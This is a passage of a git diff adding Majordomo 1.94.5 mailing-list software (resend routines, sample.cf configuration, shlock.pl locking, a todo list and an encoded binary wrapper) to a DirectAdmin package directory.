if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > $MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/sample.cf b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/sample.cf new file mode 100644 index 0000000..1c6368e --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/sample.cf @@ -0,0 +1,316 @@ +# +# A sample configuration file for majordomo. You must read through this and +# edit it accordingly! +# + + +# $whereami -- What machine am I running on? +# +$whereami = "example.com"; + +# $whoami -- Who do users send requests to me as? +# +$whoami = "Majordomo\@$whereami"; + +# $whoami_owner -- Who is the owner of the above, in case of problems? +# +$whoami_owner = "Majordomo-Owner\@$whereami"; + +# $homedir -- Where can I find my extra .pl files, like majordomo.pl? +# the environment variable HOME is set by the wrapper +# +if ( defined $ENV{"HOME"}) { + $homedir = $ENV{"HOME"}; +} else { + $homedir = "/etc/virtual/majordomo"; +} + +# $listdir -- Where are the mailing lists? +# +$listdir = "$homedir/lists"; + +# $digest_work_dir -- the parent directory for digest's queue area +# Each list must have a subdirectory under this directory in order for +# digest to work. E.G. The bblisa list would use: +# /usr/local/mail/digest/bblisa +# as its directory. +# +$digest_work_dir = "/usr/local/mail/digest"; + +# $log -- Where do I write my log? +# +$log = "$homedir/Log"; + +# $sendmail_command -- Pathname to the sendmail program +# usually /usr/lib/sendmail, but some newer BSD systems +# seem to prefer /usr/sbin/sendmail +# +$sendmail_command = "/usr/lib/sendmail"; +# $sendmail_command = "/usr/sbin/sendmail"; + +# $mailer -- What program and args do I use to send mail to the list? +# $bounce_mailer -- What is used to send mail anywhere else? +# The variables $to, $from, $subject, and $sender can be interpolated into +# this command line. Note, however, that the $to, $from, and $subject +# variables may be provided by the person sending mail, and much mischief +# can be had by playing with this variable. It is perfectly safe to use +# $sender, but the others are insecure. +# +# Sendmail option -oi: Do not take a . on a line by itself as the message +# terminator. +# Sendmail option -oee: Force sendmail to exit with a zero exit status if +# if it's not going to give useful information. +# +$mailer = "$sendmail_command -oi -oee -f\$sender"; +$bounce_mailer = "$sendmail_command -oi -oee -f\$sender -t"; + +# You can special case the mailer used to deliver outbound mail as follows: +# +# To use TLB and use no outgoing alias: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "/usr/local/majordomo/tlb /usr/local/lists/${opt_l}.tlb"; +# } +# +# To use a different Sendmail queue for this list's mail: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "$sendmail_command -oQ /var/spool/listq -f\$sender"; +# } + +# You can force Majordomo to delay any processing if the system load is too +# high by uncommenting the following lines. THIS ONLY WORKS if your "uptime" +# command (usually found in /usr/bin/uptime or /usr/bsd/uptime) +# returns a string like: +# 5:23pm up 5:51, 9 users, load average: 0.19, 0.25, 0.33 +# +#$max_loadavg = 10; # Choose the maximum allowed load +# +#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime +#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here. +# +#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) = +# $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/; +# +#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL +# + +# Set the default subscribe policy for new lists here. +# If not defined, defaults to "open", but in today's increasingly +# imbecile Internet, "open+confirm" or "auto+confirm" is a wiser +# choice for publicly available Majordomo servers. +# +$config'default_subscribe_policy = "open+confirm"; + +# +# Configure X400 parsing here. This is functional, but not well tested +# and rather a hack. +# By default all addresses that look x400-ish will be checked for a +# @ sign (meaning that it's headed to an smtp->x400 gateway, as well +# as the 'c=' and 'a[dm]=' parts, which mean something as well. +# +# If you will be receiving x400 style return addresses that do not have +# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1. +# Otherwise, leave $no_x400 at 0. +# +$no_x400at = 0; +# +# If you will be receiving x400 addresses without the c= or a[dm]= parts +# set the $no_true_x400 variable to 1. This will disable checking for +# "c=" and "a[dm]=" pieces. +# +$no_true_x400 = 0; + + +#-------------------------------------------------------------------- +# Stuff below here isn't commonly changed.... +#-------------------------------------------------------------------- +# +# Majordomo will look for "get" and "index" files related to $list in +# directory "$filedir/$list$filedir_suffix", so set $filedir and +# $filedir_suffix appropriately. For instance, to look in +# /usr/local/mail/files/$list, use: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; # empty string +# or to look in $listdir/$list.archive, use: +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; + +$filedir = "$listdir"; +$filedir_suffix = ".archive"; + +# What command should I use to process an "index" request? +# +$index_command = "/bin/ls -lRL"; + +# If you want to use FTPMAIL, rather than local access, for file transfer +# and access, define the following: +# $ftpmail_address = "ftpmail\@decwrl.dec.com"; +# $ftpmail_location = "FTP.$whereami"; + +# if you want the subject of the request to be included as part of the +# subject of the reply (useful when automatically testing, or submitting +# multiple command sets), set $return_subject to 1. +# +$return_subject = 1; + +# If you are using majordomo at the -request address, set the +# following variable to 1. This affects the welcome message that is +# sent to a new subscriber as well as the help text that is generated. +# +$majordomo_request = 0; + +# If you have lists that have who turned off, but still allow which +# requests to work for subscribed members, and you don't want to have +# "which @" to act like a who, the variable $max_which_hits sets the +# number of hits that are allowed using which before an error is returned. +# Arguably this should be a per list settable number. +# +$max_which_hits = 0; + +# Set the umask for the process. Used to set default file status for +# config file. +# +umask(007); +$config_umask = 007; + +# don't change this. It checks to make sure that you have a new enough +# version of perl to run majordomo. It is in here because this file is +# used by almost all of the majordomo programs. +# +die "Perl version $] too old\n" if ($] < 4.019); + +# the safe locations for archive directories +# None of the parameters that use safedirs are actually used, so +# @safedirs is a placeholder for future functionality. +# Just ignore it for version 1.90 through 1.94. +# +@safedirs = ( ); + +# Directory where resend temporarily puts its rewritten output message. +# For the paranoid, this could be changed to a directory that only +# majordomo has r/w permission to. +# Uses the environment variable TMPDIR, since that's pretty common +# +$TMPDIR = $ENV{'TMPDIR'} || "/usr/tmp"; + +# Tune how long set_lock tries to obtain a lock before giving up. Each +# attempt waits 1 to 10 seconds before trying again and waittime is +# the total minimum time spent trying. This defaults to 600 seconds (5 +# minutes), which translates to no less then 60 nor more than 600 tries. +# +# $shlock'waittime = 1200; + +# tune the cookie for subscribe_policy=confirm. Normally this is +# set to $homedir. *Don't* make this something like rand(400), +# the key isn't saved between sessions. +# +# $cookie_seed = "Harry Truman, Doris Day, Red China, Johnnie Ray" . +# " South Pacific, Walter Winchell, Joe DiMaggio"; + +# The maximum character length of the header lines for resend +# +$MAX_HEADER_LINE_LENGTH = 128; + +# The maximum character length of the _entire_ header for resend +# +$MAX_TOTAL_HEADER_LENGTH = 1024; + +# List of perl regular expressions that, if found in the headers of a message, +# will cause the message to be bounced to the list approver. +# Put each regular expression on a separate line before the "END" mark, with +# no trailing ";" +# For example: +# $global_taboo_headers = <<'END'; +# /^from:.*trouble\@hassle\.net/i +# /^subject:.*non-delivery notice/i +# END +# NOTE! Using ' instead of " in the 'END' is VERY IMPORTANT!!! +# + +# Administrative checks. These used to be buried in the resend code +# +$admin_headers = <<'END'; +/^subject:\s*subscribe\b/i +/^subject:\s*unsubscribe\b/i +/^subject:\s*uns\w*b/i +/^subject:\s*.*un-sub/i +/^subject:\s*help\b/i +/^subject:\s.*\bchange\b.*\baddress\b/i +/^subject:\s*request\b(.*\b)?addition\b/i +/^subject:\s*cancel\b/i +END + +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administrivia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +$admin_body = <<'END'; +/\bcancel\b/i +/\badd me\b/i +/\bdelete me\b/i +/\bremove\s+me\b/i +/\bchange\b.*\baddress\b/ +/\bsubscribe\b/i +/^sub\b/i +/\bunsubscribe\b/i +/^unsub\b/i +/\buns\w*b/i +/^\s*help\s*$/i +/^\s*info\s*$/i +/^\s*info\s+\S+\s*$/i +/^\s*lists\s*$/i +/^\s*which\s*$/i +/^\s*which\s+\S+\s*$/i +/^\s*index\s*$/i +/^\s*index\s+\S+\s*$/i +/^\s*who\s*$/i +/^\s*who\s+\S+\s*$/i +/^\s*get\s+\S+\s*$/i +/^\s*get\s+\S+\s+\S+\s*$/i +/^\s*approve\b/i +/^\s*passwd\b/i +/^\s*newinfo\b/i +/^\s*config\b/i +/^\s*newconfig\b/i +/^\s*writeconfig\b/i +/^\s*mkdigest\b/i +END + +# taboo headers to catch +# +$global_taboo_headers = <<'END'; +/^subject: ndn: /i +/^subject:\s*RCPT:/i +/^subject:\s*Delivery Confirmation\b/i +/^subject:\s*NON-DELIVERY of:/i +/^subject:\s*Undeliverable Message\b/i +/^subject:\s*Receipt Confirmation\b/i +/^subject:\s*Failed mail\b/i +/^subject:\s*Returned mail\b/i +/^subject:\s*unable to deliver mail\b/i +/^subject:\s.*\baway from my mail\b/i +/^subject:\s*Autoreply/i +END + +# Taboo body contents to catch and forward to the approval address +# +# For example: +# $global_taboo_body = <<'END'; +# /taboo topic/i +# /another taboo/i +# END +# NOTE! Using ' instead of " in the next line is VERY IMPORTANT!!! +# +$global_taboo_body = <<'END'; +END + +# Majordomo will not send replies to addresses which match this. +# The match is done case-insensitively. +$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@'; + +1; +# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.34 1997/08/27 15:00:31 cwilson Exp $ diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/shlock.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/shlock.pl new file mode 100644 index 0000000..1b7ea82 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/shlock.pl @@ -0,0 +1,312 @@ +# PERL implementation of Erik E. Fair's 'shlock' (from the NNTP distribution) +# Ported by Brent Chapman + +# Taken from shlock.pl and majordomo.pl in Majordomo distribution +# Merged into package by Bill Houle + +package shlock; +require 'majordomo.pl'; # For bitch() and abort() + +# These can be predefined elsewhere, e.g. majordomo.cf +$waittime = 600 unless $waittime; +$shlock_debug = 0 unless $shlock_debug; +$warncount = 20 unless $warncount; + +sub alert { + &main'bitch(@_); + &main'abort("shlock: too many warnings") unless --$warncount; +} + +$EPERM = 1; +$ESRCH = 3; +$EEXIST = 17; + +# Lock a process via lockfile. +# +sub main'shlock { + local($file) = shift; + local($tmp); + local($retcode) = 0; + + print STDERR "trying lock '$file' for pid $$\n" if $shlock_debug; + return(undef) unless ($tmp = &extant_file($file)); + + { # redo-controlled loop + unless (link($tmp, $file)) { + if ($! == $EEXIST) { + print STDERR "lock '$file' already exists\n" if $shlock_debug; + if (&check_lock($file)) { + print STDERR "extant lock is valid\n" if $shlock_debug; + } else { + print STDERR "lock is invalid; removing\n" if $shlock_debug; + unlink($file); # no message because it might be gone by now + redo; + } + } else { + &alert("shlock: link('$tmp', '$file'): $!"); + } + } else { + print STDERR "got lock '$file'\n" if $shlock_debug; + $retcode = 1; + } + } + + unlink($tmp) || &alert("shlock: unlink('$file'): $!"); + return($retcode); +} + +# Create a lock file (with retry). +# +sub main'set_lock { + local($lockfile) = @_; + local($slept) = 0; + + while ($slept < $waittime) { + return 1 if &main'shlock("$lockfile"); + + # didn't get the lock; wait 1-10 seconds and try again. + $slept += sleep(int(rand(9) + 1)); + } + # if we got this far, we ran out of tries on the lock. + return undef; +} + +sub main'free_lock { + unlink $_[0]; +} + +# open a file locked for exclusive access; we remember the name of the lock +# file, so that we can delete it when we close the file +# +sub main'lopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + local($status); + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + return undef unless &main'set_lock("$lockfile"); + + # Got the lock; now try to open the file + if ($status = open($FH, $fm)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + &main'free_lock($lockfile); + } + # return the success or failure of the open + return $status; +} + +# reopen a file already opened and locked (probably to change read/write mode). +# We remember the name of the lock file, so that we can delete it when +# we close the file +# +sub main'lreopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + # close the old file handle, and delete the lock reference + if ($lock_files[fileno($FH)]) { + undef($lock_files[fileno($FH)]); + close($FH); + } else { + # the file wasn't already locked + # unlink("$lockfile"); ### Do we really want to do this? + return(undef); + } + + # We've already got the lock; now try to open the file + $status = open($FH, $fm); + if (defined($status)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + unlink("$lockfile"); + } + # return the success or failure of the open + return($status); +} + + +# Close a locked file, deleting the corresponding .lock file. +# +sub main'lclose { + local($FH) = shift; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + local($lock) = $lock_files[fileno($FH)]; + close($FH); + unlink($lock); +} + +# Open a temp file. Ensure it is temporary by checking for other links, etc. +# +sub main'open_temp { + local($FH_name, $filename) = @_; + local($inode1, $inode2, $dev1, $dev2) = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH_name =~ s/^[^':]+$/$package'$&/; + + if ( -e $filename ) { + &alert("Failed to open temp file '$filename', it exists"); + return(undef); + } + + unless (open($FH_name, ">> $filename")) { + local($tempdir) = ($filename =~ m|(.*)/|) ? $1 : "."; + if (! -e $tempdir) { + &main'abort("shlock: '$tempdir' does not exist"); + } + elsif (! -d _) { + &main'abort("shlock: '$tempdir' is not a directory\n"); + } + elsif (! -w _) { + &main'abort("shlock: '$tempdir' is not writable by UID $> GID", + (split(" ", $) ))[0], "\n"); + } + else { + &alert("open of temp file '$filename' failed: $!"); + } + return(undef); + } + + if ( -l $filename ) { + &alert("Temp file '$filename' is a symbolic link after opening"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("'$filename' has more than one link after opening"); + return(undef); + } + + ($dev1, $inode1) = (lstat(_))[0..1]; + local(*FH) = $FH_name; + ($dev2, $inode2) = (stat(FH))[0..1]; + + if ($inode1 != $inode2) { + &alert("Inode for filename does not match filehandle! Inode1=$inode1 Inode2=$inode2"); + return(undef); + } + + if ($dev1 != $dev2) { + &alert("Device for filename does not match filehandle! Dev1=$dev1 Dev2=$dev2"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("filehandle has more than one link after opening"); + return(undef); + } + return(1); +} + +sub is_process { + local($pid) = shift; + + print STDERR "process $pid is " if $shlock_debug; + if ($pid <= 0) { + print STDERR "invalid\n" if $shlock_debug; + return(0); + } + if (kill(0, $pid) <= 0) { + if ($! == $ESRCH) + { print STDERR "dead\n" if $shlock_debug; return 0; } + elsif ($! == $EPERM) + { print STDERR "alive\n" if $shlock_debug; return 1; } + else + { print STDERR "state unknown: $!\n" if $shlock_debug; return 1; } + } + print "alive\n" if $shlock_debug; + return 1; +} + +sub check_lock { + local($file) = shift; + local(*FILE, $pid, $buf); + + print STDERR "checking extant lock '$file'\n" if $shlock_debug; + unless (open(FILE, "$file")) { + &alert("shlock: open('$file'): $!") if $shlock_debug; + return 1; + } + + $pid = int($buf = ); + + if ($pid <= 0) { + close(FILE); + print STDERR "lock file format error\n" if $shlock_debug; + return 0; + } + close(FILE); + return(&is_process($pid)); +} + +sub extant_file { + local($file) = shift; + local(*FILE); + local($tempname); + + $tempname = $file; + if ($tempname =~ /\//) { + $tempname =~ s,/[^\/]*$,/,; + $tempname .= "shlock.$$"; + } else { + $tempname = "shlock.$$"; + } + print STDERR "temporary filename '$tempname'\n" if $shlock_debug; + + { # redo-controlled loop + if ( -e $tempname ) { + print STDERR "file '$tempname' exists\n" if $shlock_debug; + unlink($tempname); # no message because it might be gone by now. + redo; + } + elsif (! &main'open_temp(FILE, $tempname)) { + print STDERR "can't create temporary file '$tempname': $!" + if $shlock_debug; + return(undef); + } + } + + unless (print FILE "$$\n") { + &alert("shlock failed: write('$tempname', '$$'): $!"); + close(FILE); + unlink($tempname) || &alert("shlock: unlink('$tempname'): $!"); + return(undef); + } + close(FILE); + + sleep(15) if $shlock_debug; # give me a chance to look at the lock file + return($tempname); +} + +1; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/todo.local b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/todo.local new file mode 100644 index 0000000..a0e49d0 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/todo.local @@ -0,0 +1,100 @@ +Partial: add code to override the archive directory on a per list basis. + + config file recognizes keyword archive_dir, majordomo get/index + doesn't use it yet. + +Partial: add more keywords: + + DONE: comments (array)- allow commentary/rcs log info + + process - time interval - if in time interval, process + requests, otherwise exit status 75 + file-process - see process, for get/put + resend-process - see process + + load - three floats (1, 5, 15 minute load average. 0.0 means + doesn't matter). If + uptime load > any one of these, then exit with code 75 to + have sendmail requeue the job and try later. + + file-times - a time/day spec for times that majordomo should process + get/index and other specs. Exit w/ code 75 if wrong time. + + resend-times - a time/day spec for when resend shouldn't run. + Exit w/ code 75 if wrong time. + + exclude-user - opposite of -I flag to exclude ability of people + to post to a mailing list. + +NOT: analyze code to make sure all areas that require locks are in place + +NOT: Analyze code to replace all mailer invocation with code that can be + set in the majordomo.cf file. This includes normalizing the + variable for the -f argument to sendmail, and the sendmail location etc. + +NOT: detect error condition (e.g. out of disk space) and deal with them + (e.g. check close return values) + +NOT: clean up messages that are put into the config file. Diction and + parallelism needs work. + +NOT: vett any and all \001's that may be in the config file. + +NOT: create an addin that uses the config file stuff. + +NOT: after alan's stuff add pre/post message hook to the code. + +NOT: add code to support incremental config file changes. + +NOT: Add support for delayed reply REPLY handling. + Remove sendmail open from majordomo, add send_reply command + have all prints to reply be pushes onto $Reply. + + First shot screwed up something with the filehandles. Need to + try again. It may be perl 4.019 rearing its ugly head. + +partial: add ability to add arbitrary headers to message + + config file elements in place as type string array. This should + probably be specialized so that only known or X- headers can + be specified. Also the code in resend has to be modified to + remove duplicate headers, and to allow override headers. + +DONE (12/8/93): add ability to add reply to header that has sender's + from address + + Just specify $SENDER as the value of the reply_to string. + Actually the entire set of $ elements recognized + by &config'substitute_values is recognized. + +DONE (11/18/93): fix bug with mixing pipleines that allows portions on + incoming data stream into config file due to fork. When + running write_config (formally mk_default_config). + +DONE: add configure get password + +DONE: add functions absolute_dir and absolute_file to look for / forms of + paths + +DONE: add support for enumerated keywords + +DONE: Add keyword subscribe_policy to have values open, closed, or auto + config file recognizes it, majordomo uses it. + +DONE: add support for array keyword values + Have added code to recognize key << END, and read it into a \001 + seperated stringified array. + + the only array values currently are: advertize/noadvertize + and majordomo can deal with the arrays. + + Also comments is an array, but is only for internal config file use. + +DONE: fix do_approve so it loads the config file when it gets called + this will allow config file password to be used for approves. + +DONE: fix keywords so they all use _ or - as a seperator character. + chose _ + +DONE: enhance resend so that trailer text can be added to the code. + keyword message_footer diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper new file mode 100644 index 0000000000000000000000000000000000000000..a2712c872b262acb9e94e80484e7ff3c7bf4cd6d GIT binary patch literal 23328 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 